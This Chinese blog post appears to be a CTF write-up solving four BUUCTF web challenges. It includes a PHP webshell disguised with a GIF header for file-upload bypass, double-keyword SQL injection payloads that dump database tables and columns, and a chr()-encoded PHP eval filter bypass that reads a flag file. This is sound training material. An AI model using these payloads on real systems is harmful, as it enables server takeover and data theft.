文章目录

  • 前言
  • [极客大挑战 2019]Upload
  • [ACTF2020 新生赛]Upload
  • [极客大挑战 2019]BabySQL
  • [RoarCTF 2019]Easy Calc

前言

文章同步于我的个人博客https://quan9i.top
周末随便刷点小题

[极客大挑战 2019]Upload

本关我们构造jpg文件传入一句话木马的话,<会被识别出来而无法上传

我们尝试构造pthml文件,pthml文件指的是嵌入html的php文件,这里我们可以发现仍然不行,可能对文件头进行了检查

那我们这里呢,就构造pthml文件,这样标签就不会被过滤,也就可以绕过
构造payload如下
GIF89A<script language="php">eval($_POST[1]);phpinfo();</script>
(GIF89A是构造一个图片头文件欺骗)

查看这个文件,盲猜文件存放位置为upload

此时蚁剑连接获取webshell即可

此时寻找flag即可

其实我本来的思路是想试试%00截断的,但是这里一是不知道PHP版本是否符合要求,二是后端过滤了<,所以我们这个思路不可行,学习其他大师傅的思路后才知道用phtml绕过即可

[ACTF2020 新生赛]Upload

首先进入界面,上传一个php文件进行尝试,观察反应

限制了文件格式,那我们把我们的一句话木马先改成jpg文件,bp抓包后修改过来

发现报出了nonono ~badfile,可能是过滤了php,同上关,我们用phtml文件即可

查看文件

注入成功,蚁剑连接获取webshell

[极客大挑战 2019]BabySQL

首先随便输入一下

执行结果

可以看出是单引号闭合,且为get注入,因此我们尝试用or,但发现执行失败了,考虑到or可能被过滤了,这里采取双写绕过进行尝试

username=1' oorr 1=1 %23&password=1


执行成功,此时查看字段数,但是我发现这里用oorrder by也是无法使用的,暂时不知道为啥,保留疑问,这里直接开始联合查询,由于union和select也被过滤了,所以我们采取双写绕过

username=-1' ununionion seleselectct 1,2,3%23&password=1

emmm,出现了回显位2,3,因此我们开始正式注入
查库

username=-1' ununionion seleselectct 1,2,database()%23&password=1


查表
经不断测试,发现from和where也被过滤,需要用双写绕过,这里最需要注意的就是information
,因为他里面有or,所以也需要进行双写绕过,构造最终payload如下

username=-1' ununionion seleselectct 1,2,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek'%23&password=1


查列(flag一般不在用户名那个表中,所以我们查另一个即可)

username=-1' ununionion seleselectct 1,2,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql'%23&password=1

查字段

username=-1' ununionion seleselectct 1,2,group_concat(passwoorrd) frfromom b4bsql%23&password=1

[RoarCTF 2019]Easy Calc

进入里面发现是个计算器,随机输入

输入字母时会报错,说明应该是过滤了字母

查看源码

发现有一个calc.php文件,进行访问

<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>

可以发现对空格,换行符以及很多进行了过滤,对num的非字母无法通过限制,导致我们无法进行注入,我在这里也不知道怎么整,学习了其他师傅的思路后,了解到我们可以在?后面加一个空格再加变量,这样对于服务器端来说识别的变量就是 num而不是num,但php解析仍将其视为num,此时就可以实现注入
此时我们查看当前目录,但是/被过滤了,我们这里用chr(47)即可,构造payload如下

? num=1;var_dump(scandir(chr(47)))

可以发现flag就在其中,可惜这里flag不是php类文件,要不然可以用交换键值和键名,再随机获取键名的方式来获取flag,这种方式在浅析命令执行中有讲解,感兴趣的师傅们可以看一下
先介绍一个函数

file_get_contents():
把整个文件读入一个字符串中.该函数是用于把文件的内容读入到一个字符串中的首选方法。

话说回来,这里的flag我们想获取,那只能将字母转换成chr()这种方式来绕过,因此我们将f转换成chr(102),1转换成chr(49)a转换成chr(97),g转换成chr(103),中间用.进行连接,此时再借用file_get_contents函数获取文件内容,因为没有设置存放的变量,所以其会直接显现在界面上,构造最终payload如下

? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

buuctf一天小练习相关推荐

  1. BUUCTF Misc ningen1 小明的保险箱1 爱因斯坦1 easycap1

    目录 ningen1 小明的保险箱1 爱因斯坦1 easycap1 ningen1 下载文件 使用kali中的binwalk查看 binwalk xxx.jpg 分离文件 打开 压缩包加密了,爆破 爆 ...

  2. buuctf simplerev 中的小头位序

    (33条消息) BUUCTF SimpleRev(涉及大小端序存储的问题)_Ireb9z的博客-CSDN博客_buuctfsimplerevhttps://blog.csdn.net/afanzcf/ ...

  3. BUUCTF [NCTF2019]childRSA(费马小定理)

    [NCTF2019]childRSA(费马小定理) 题目 from random import choice from Crypto.Util.number import isPrime, sieve ...

  4. BUUCTF:小明的保险箱

    题目地址:https://buuoj.cn/challenges#%E5%B0%8F%E6%98%8E%E7%9A%84%E4%BF%9D%E9%99%A9%E7%AE%B1 binwalk分析,发现 ...

  5. BUUCTF MISC 小明的保险箱

    题目: 下载后发现是一张图片,先分析图片 在图片里发现一个rar的压缩包,顺便下载一个暴力破解rar的工具 apt-get insatll rarcrack rarcrack flag.rar --t ...

  6. Buuctf Misc小明的保险箱(暴力破解)

    打开 解题思路 用WinHex打开图片,有PK,说明是zip文件格式,把扩展名改为zip. 打开发现需要密码,那就直接暴力破解(最好的工具是通过软件破解:Advanced Archive Passwo ...

  7. BUUCTF 小明的保险箱

    题目 下载附件,解压附件,是一张图片 根据题意猜测我们把图片改成.rar的形式,发现打开需要密码,我们使用暴力破解的软件破解密码 得到flag flag{75a3d68bf071ee188c418ea ...

  8. buuctf小明的保险箱

    题目下载 通过binwalk查看内部包含多个文件,且根据提示分析出应该有加密压缩包,使用binwalk -e 文件名,分解出一个1381F.rar压缩包,并打开发现需要输入密码,暴力破解4位数字密码得 ...

  9. BUUCTF misc 专题(18)小明的保险箱

    下载下来是这样的一张图片 我们将它放入kali中进行binwalk,分离出来一个文件解压后需要密码,根据题目提示,密码是四位纯数字的,直接暴力破解 密码7869,输入后出结果 flag{75a3d68 ...

  10. BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过

    BUUCTF之[Zer0pts2020]Can you guess it? basename函数绕过 题目 后台PHP源码: <?php include 'config.php'; // FLA ...

最新文章

  1. [原创]KVM虚拟化管理平台的实现
  2. Sharepoint之升级篇
  3. 【编程大系】Java资源汇总
  4. 图片没有.png或者jpg后缀能不能加载?
  5. POJ读书笔记6.1 - 约瑟夫问题 2746
  6. 创建pytorch虚拟环境的版本问题
  7. python爬虫系列:获取获取自如房租信息
  8. 首个可用于深度学习的ToF相关数据集!基于置信度的立体相机以及ToF相机深度图融合框架...
  9. 百度地图 - 绘制海量点
  10. Win32:一个全新的、被忽视的桌面互联网内容平台
  11. 网络测试软件要什么运行库,运行库检测工具(All in One Runtime)
  12. HTML+CSS静态页面网页设计作业——餐饮店铺(1页) web前端设计与开发期末作品_期末大作业
  13. UVM-TLM机制解读
  14. C 内存布局 Memory Layout of C Programs
  15. Numpy基础知识(摘录笔记)
  16. 世界名曲百首(mp3)
  17. 理解eth-trunk链路聚合以及配置Eth-Trunk链路聚合
  18. ruanjianlianjimoban
  19. 中国铸造机械行业发展动态与运营前景状况分析报告2022版
  20. 【转帖】windows 服务大全

热门文章

  1. Python学习 --- 列表
  2. 《从0到1:CTFer成长之路》
  3. 96PIN直插DIP千兆四口网络变压器 千兆交换机路由器网络滤波器
  4. 软件著作权申请流程和注意事项
  5. u盘安装红旗linux操作系统,如何用u盘安装红旗linux?
  6. LDOMs 也被叫做OVM-SPARC 常用的命令集合
  7. 【暑假阅读推荐书目】历史篇·中国史
  8. 查看 Chrome 下载的文件的真实下载地址
  9. 预应力内力计算时作用机理(纠结好久的问题orz)
  10. Spark算子:RDD行动Action操作–aggregate、fold、lookup;reduce/fold/aggregate区别